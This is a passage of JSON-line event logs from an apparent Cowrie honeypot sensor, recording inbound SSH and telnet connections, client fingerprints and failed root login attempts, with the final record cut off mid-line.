{"eventid":"cowrie.session.closed","duration":32.78874444961548,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:27.197782Z","src_ip":"135.148.14.151","session":"89b06011f7be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":9444,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e3c91494ccc","protocol":"ssh","message":"New connection: 103.176.90.41:9444 (10.17.0.5:22) [session: 8e3c91494ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:27.751442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:27.756396Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:27.844434Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:2c:23:31:c9:63:34:64:60:fe:99:5e:a4:b6:84:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKu0HaKFsBuYyIDOTeHSyWFXZhiwaZ8ouH2dZOh0epXA7fPa1Brp551ZmP29RzkUlGf9ZdGbGrTCqzgsckXgkFeSHtmiFz5bu3b0jSzIcVZpR9Dcbs7Nq3P38tyGHIcbYNeNlc9PZms4RC3GWf0sg/dwZ9Og7LmE02nqLvWN1p9MxieDs/DoXRzAo5ysF3NiPATvPnz5V12oBOR0pItvtKaTLvDUBz4skGsSnhRPuS0B1WZawQb72hiI01RUXOaynkf+Kr5///FCvoWjK3JJr6OLMOuX5Ze6ahwb+AAb/4x0+jw1ktVLt3pe5N4OTbfubwxvmcAI717vrKsuhX04K/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:2c:23:31:c9:63:34:64:60:fe:99:5e:a4:b6:84:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.243835Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:2c:23:31:c9:63:34:64:60:fe:99:5e:a4:b6:84:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKu0HaKFsBuYyIDOTeHSyWFXZhiwaZ8ouH2dZOh0epXA7fPa1Brp551ZmP29RzkUlGf9ZdGbGrTCqzgsckXgkFeSHtmiFz5bu3b0jSzIcVZpR9Dcbs7Nq3P38tyGHIcbYNeNlc9PZms4RC3GWf0sg/dwZ9Og7LmE02nqLvWN1p9MxieDs/DoXRzAo5ysF3NiPATvPnz5V12oBOR0pItvtKaTLvDUBz4skGsSnhRPuS0B1WZawQb72hiI01RUXOaynkf+Kr5///FCvoWjK3JJr6OLMOuX5Ze6ahwb+AAb/4x0+jw1ktVLt3pe5N4OTbfubwxvmcAI717vrKsuhX04K/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.248226Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:36:75:4d:6a:46:3e:cf:9d:28:8b:30:23:ae:71:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK7hi1RsFqrghru1p/yHjItvYFJmme1LlsGcy3by5RFbjJLhYcxCoDtf/d0m9e/7AmtnFQOV1aL0+N05ByWWXHP/njwZDAktlBuAZL1EvuNW9m70uz4vid8IxliwB5KuLAhHTlAXMs8MBCNQBRsCm0hPvy45FOgi16XgJYQB9puDyWVhelCHwacd21rO4RObETboZIcMBoVSHDtEbp7hTIYMDyZa4vfxKBkvdchGNyjtCUAJ6LvhZCxzmfFyjDSa9gQ7ZORuqQhiEDKD+Yq1QzBu88RYs0F6YlXf0ELES0h4lZhiZyemdFTUfWImbAlNPcjri8tDuimwB+q9lJD5Ij","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:36:75:4d:6a:46:3e:cf:9d:28:8b:30:23:ae:71:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.337789Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:36:75:4d:6a:46:3e:cf:9d:28:8b:30:23:ae:71:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK7hi1RsFqrghru1p/yHjItvYFJmme1LlsGcy3by5RFbjJLhYcxCoDtf/d0m9e/7AmtnFQOV1aL0+N05ByWWXHP/njwZDAktlBuAZL1EvuNW9m70uz4vid8IxliwB5KuLAhHTlAXMs8MBCNQBRsCm0hPvy45FOgi16XgJYQB9puDyWVhelCHwacd21rO4RObETboZIcMBoVSHDtEbp7hTIYMDyZa4vfxKBkvdchGNyjtCUAJ6LvhZCxzmfFyjDSa9gQ7ZORuqQhiEDKD+Yq1QzBu88RYs0F6YlXf0ELES0h4lZhiZyemdFTUfWImbAlNPcjri8tDuimwB+q9lJD5Ij","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.342210Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:47:a8:e4:c8:c5:98:64:e6:59:ba:f6:51:e6:e1:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmKbmwiMcxx/mTdTC2+wg0Sn2k4VYf0aTYh6wzmfzpzXkb50EdzbJK+2rrVD8rSsZJRGPNAK7PEn7NiV6n1TSE66R3tPNPgeuZUfLstJMmUgk9gxSmwjnxZpRSu2YRcsm8FexkeSFJQWol2UO4pTFiDqMeHMCQKs6ZQoPABE2oD42vIIE0fv9Wz6ZLmNh5D6YCzGh9//GszVw0AglLndKViv6WRSPBDbkuR2YedY+/CxNieK3uwLHpkMINM4CLIFKdqUjBtkdA8kGpDwCXaOhWC7+fLW7aX7Qefgt3itvoKToEimySsrNnwyPoEcFmyVnUvk674FKBCVjFhjrpS8QVowdvl+ZmP5wgat+g7O7KG9eMAl+cQAHvJai4/fmaxzeseQsKabU7okzOcQymdY76vaz/Xu0FwI78DvcHQFx/PFmH9548v72AcUV0HJyE1j6LUCdnDNMANRw23eoorB4gvqZF+Hc69Fxyse+wbIcWPfA09cJ8ugreXJA1iAfgo5Cjw+7MKqXJVXzkGrIh7TgbQYbFJKEr6867IUmDBxeVNe9HC+YL6vH8hqQ5/aNgY5rLsnFFNqnQQGhb62WsTEJLYs3/TqHw7Accv1pu2UScvnXPdpdHE7MiduwbhHmUEIb9jEkNsVZmXuEIWALActMaZMZP54U5HCt/QomzqQ2LAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:47:a8:e4:c8:c5:98:64:e6:59:ba:f6:51:e6:e1:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.427975Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:47:a8:e4:c8:c5:98:64:e6:59:ba:f6:51:e6:e1:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmKbmwiMcxx/mTdTC2+wg0Sn2k4VYf0aTYh6wzmfzpzXkb50EdzbJK+2rrVD8rSsZJRGPNAK7PEn7NiV6n1TSE66R3tPNPgeuZUfLstJMmUgk9gxSmwjnxZpRSu2YRcsm8FexkeSFJQWol2UO4pTFiDqMeHMCQKs6ZQoPABE2oD42vIIE0fv9Wz6ZLmNh5D6YCzGh9//GszVw0AglLndKViv6WRSPBDbkuR2YedY+/CxNieK3uwLHpkMINM4CLIFKdqUjBtkdA8kGpDwCXaOhWC7+fLW7aX7Qefgt3itvoKToEimySsrNnwyPoEcFmyVnUvk674FKBCVjFhjrpS8QVowdvl+ZmP5wgat+g7O7KG9eMAl+cQAHvJai4/fmaxzeseQsKabU7okzOcQymdY76vaz/Xu0FwI78DvcHQFx/PFmH9548v72AcUV0HJyE1j6LUCdnDNMANRw23eoorB4gvqZF+Hc69Fxyse+wbIcWPfA09cJ8ugreXJA1iAfgo5Cjw+7MKqXJVXzkGrIh7TgbQYbFJKEr6867IUmDBxeVNe9HC+YL6vH8hqQ5/aNgY5rLsnFFNqnQQGhb62WsTEJLYs3/TqHw7Accv1pu2UScvnXPdpdHE7MiduwbhHmUEIb9jEkNsVZmXuEIWALActMaZMZP54U5HCt/QomzqQ2LAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.431883Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:62:e6:f7:d1:0a:36:60:89:d7:c3:0f:55:ea:2e:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwwImKPHVFxxyeCzbU9POPofmriHljIzZtD7LbRJ4UkP9ezkLYGrU8CSI0QoccG64njLPY4oFjjSTMeOb3ACfgPtqqj7iFeRgQe8vMrh0xsVFX2vAPPGsrAV5Yt0DWThXfeQqWholBRiB0KsjrpZXrycYVgcrtcD7kOUI2D0cFFHosBtC3kY+AtR2CGoFrOocFrqFHuxFUWy2NjkUR5iMc1sXWChZUhyr3wEHDl+Z6aCYMNbOzdME149Rnz7NHPHdeQYCo/eTIbwMvWIA67W0o59GVtpZuZaZcEev3K9jGt16qyzUslpa7ZWmXVebuMQf5qfKraFaneHvPl0LMkOrUAV1tq0XzEPm7/XyE5wEAk4fKGE9CdoziyK0ky8h18LETlOtBYI8IFO0T9ij1fMVHT/L6AX4DQfugybIjxmujEuBuzhj4UXLC+hTaB/2wiI9MVmyM4fsqbc90VZ5m43gjqIsM9BnORVm5Loa7WzW2bksE9SkU4QNwtDyCl/QHdK5i9X2WXIgfX3QX6PWbwj9g9ZWxHf0HPVOAnJ97z7gRUksBnwG+4ev/TXairVxsyrCtRYTnP2g9aSK65S5lSJuW64DS9l6F5hJ49TsoArN8hyiGVFncK51Nm5Ivr0KP5tHzBshIeq6EQQ5x4E9SbReslNVq9b5SLQpr6ojn0UPA6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:62:e6:f7:d1:0a:36:60:89:d7:c3:0f:55:ea:2e:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.517092Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:62:e6:f7:d1:0a:36:60:89:d7:c3:0f:55:ea:2e:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwwImKPHVFxxyeCzbU9POPofmriHljIzZtD7LbRJ4UkP9ezkLYGrU8CSI0QoccG64njLPY4oFjjSTMeOb3ACfgPtqqj7iFeRgQe8vMrh0xsVFX2vAPPGsrAV5Yt0DWThXfeQqWholBRiB0KsjrpZXrycYVgcrtcD7kOUI2D0cFFHosBtC3kY+AtR2CGoFrOocFrqFHuxFUWy2NjkUR5iMc1sXWChZUhyr3wEHDl+Z6aCYMNbOzdME149Rnz7NHPHdeQYCo/eTIbwMvWIA67W0o59GVtpZuZaZcEev3K9jGt16qyzUslpa7ZWmXVebuMQf5qfKraFaneHvPl0LMkOrUAV1tq0XzEPm7/XyE5wEAk4fKGE9CdoziyK0ky8h18LETlOtBYI8IFO0T9ij1fMVHT/L6AX4DQfugybIjxmujEuBuzhj4UXLC+hTaB/2wiI9MVmyM4fsqbc90VZ5m43gjqIsM9BnORVm5Loa7WzW2bksE9SkU4QNwtDyCl/QHdK5i9X2WXIgfX3QX6PWbwj9g9ZWxHf0HPVOAnJ97z7gRUksBnwG+4ev/TXairVxsyrCtRYTnP2g9aSK65S5lSJuW64DS9l6F5hJ49TsoArN8hyiGVFncK51Nm5Ivr0KP5tHzBshIeq6EQQ5x4E9SbReslNVq9b5SLQpr6ojn0UPA6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.521472Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:f7:01:e5:0a:99:f1:4f:c4:25:c1:0d:62:fa:43:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC315hCDrEmv1ugjt9fkQs4/tZ/cn1ex9hM7oHTO+yhnDZfsBViE3+U/xfCMVqVi8+8THHdXIi6Pybvjkf0pl6C43b3eu13MqgJqZdraTWwzJKxSmr8I+c0TsYcigomah+uXVxKvBto1WrGX1jD4Vpn259oJlvXz+tsTdA/+OGha4YO8dCUbRtbtkhnWkBdf48cgjXqP8dckH6QchVrcTk2HIFpdURdGjEk//G1oPcwszv40PfFMpsTnzN4VQiUOXLK+gAC8hY94s/6+HotjAT2xErY5ATtiSjoLtYMRoGB0ghCzhIuXesaCgdLzDprnF7agRLEBe1qyAqUscg78E3FTbe7STioXZqff9Z344+odIe4RHTiLORa6bH39Ou0Nj6zpynSJ8LcnM+3Mvki16Rb4V8WJ4z94MUZGT9vt/QDKYIgOSM/tSz4nv8n48/yr8/T5UhQMU9/IfpD4MMVe7NPsL+uGDbd1rZfRVAvT3dUbvENvcJvQhOTgF1INLtt5bc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:f7:01:e5:0a:99:f1:4f:c4:25:c1:0d:62:fa:43:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.607301Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:f7:01:e5:0a:99:f1:4f:c4:25:c1:0d:62:fa:43:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC315hCDrEmv1ugjt9fkQs4/tZ/cn1ex9hM7oHTO+yhnDZfsBViE3+U/xfCMVqVi8+8THHdXIi6Pybvjkf0pl6C43b3eu13MqgJqZdraTWwzJKxSmr8I+c0TsYcigomah+uXVxKvBto1WrGX1jD4Vpn259oJlvXz+tsTdA/+OGha4YO8dCUbRtbtkhnWkBdf48cgjXqP8dckH6QchVrcTk2HIFpdURdGjEk//G1oPcwszv40PfFMpsTnzN4VQiUOXLK+gAC8hY94s/6+HotjAT2xErY5ATtiSjoLtYMRoGB0ghCzhIuXesaCgdLzDprnF7agRLEBe1qyAqUscg78E3FTbe7STioXZqff9Z344+odIe4RHTiLORa6bH39Ou0Nj6zpynSJ8LcnM+3Mvki16Rb4V8WJ4z94MUZGT9vt/QDKYIgOSM/tSz4nv8n48/yr8/T5UhQMU9/IfpD4MMVe7NPsL+uGDbd1rZfRVAvT3dUbvENvcJvQhOTgF1INLtt5bc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.611878Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:38:28.699865Z","src_ip":"103.176.90.41","session":"8e3c91494ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51178,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5b69df6e29e","protocol":"telnet","message":"New connection: 135.148.14.151:51178 (159.203.135.109:23) [session: d5b69df6e29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:40:34.320029Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36774,"dst_ip":"159.203.135.109","dst_port":22,"session":"930b887b02d5","protocol":"ssh","message":"New connection: 103.176.20.57:36774 (159.203.135.109:22) [session: 930b887b02d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:40:47.151554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:40:47.155400Z","src_ip":"103.176.20.57","session":"930b887b02d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:40:47.410760Z","src_ip":"103.176.20.57","session":"930b887b02d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"camelot","message":"login attempt [root/camelot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:40:48.181630Z","src_ip":"103.176.20.57","session":"930b887b02d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:40:49.441408Z","src_ip":"103.176.20.57","session":"930b887b02d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":58486,"dst_ip":"10.17.0.5","dst_port":22,"session":"84d34e4719e0","protocol":"ssh","message":"New connection: 80.66.85.226:58486 (10.17.0.5:22) [session: 84d34e4719e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:41:07.198550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:41:07.203810Z","src_ip":"80.66.85.226","session":"84d34e4719e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:41:07.294080Z","src_ip":"80.66.85.226","session":"84d34e4719e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:41:07.568015Z","src_ip":"80.66.85.226","session":"84d34e4719e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:41:08.660595Z","src_ip":"80.66.85.226","session":"84d34e4719e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.15465235710144,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:41:09.474546Z","src_ip":"135.148.14.151","session":"d5b69df6e29e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54778,"dst_ip":"159.203.135.109","dst_port":23,"session":"39d520783741","protocol":"telnet","message":"New connection: 135.148.14.151:54778 (159.203.135.109:23) [session: 39d520783741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:41:49.243822Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58572,"dst_ip":"159.203.135.109","dst_port":23,"session":"b653f52726af","protocol":"telnet","message":"New connection: 135.148.14.151:58572 (159.203.135.109:23) [session: b653f52726af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:41:50.430369Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":58654,"dst_ip":"10.17.0.5","dst_port":22,"session":"2077cda9df0a","protocol":"ssh","message":"New connection: 147.45.199.80:58654 (10.17.0.5:22) [session: 2077cda9df0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:42:10.940769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:42:10.945711Z","src_ip":"147.45.199.80","session":"2077cda9df0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa